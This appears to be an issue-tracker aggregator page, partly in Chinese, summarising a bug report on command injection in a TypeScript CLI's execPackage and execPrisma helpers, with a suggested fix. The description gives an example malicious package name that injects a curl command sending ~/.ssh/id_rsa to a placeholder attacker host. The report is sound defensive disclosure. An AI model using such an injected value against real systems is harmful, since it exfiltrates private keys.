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fix(cli): command injection via unsanitized string concatenation in execpackage and execprisma

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还没有人认领这个 Issue。

  • #2739 来自 @kumburovicbranko682-boop —— 已关闭,未合并

评估

难度
3/5
预计耗时
半天
新手友好度
42/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
冷清
领域
cli, security

调研方向

Start at packages/cli/src/utils/exec-utils.ts and read execPackage and execPrisma, noting every value concatenated into the shell string and which callers supply it (CLI args, config, Prisma schema names). The fix is to stop using shell mode — e.g. execFileSync with an argument array — and to update each call site accordingly, then run the CLI package tests. PR #2739 was closed unmerged, so read it first for prior context and why it was rejected before starting.

由索引模型根据 Issue 内容生成。

描述

Description

execPackage and execPrisma build shell commands by concatenating strings and pass them to child_process.execSync (shell mode). If any caller passes user-influenced input (e.g., package names or prisma CLI args derived from CLI arguments, config files, or schema names), an attacker can inject arbitrary shell commands. For example, a crafted package name like "legit; curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)" would execute the injected command. This is a library with downstream consumers, so the blast radius extends to all consumers who don't sanitize before calling these. The execPrisma path is particularly concerning since it's called with args that may originate from user-provided Prisma schema or CLI flags.

Severity: high
File: packages/cli/src/utils/exec-utils.ts

Expected Behavior

The code should handle this case properly to avoid unexpected errors or degraded quality.

主要语言
TypeScript
星标
2.9k
派生
157
平均合并
11 小时 42 分钟
30 天内合并 PR
20

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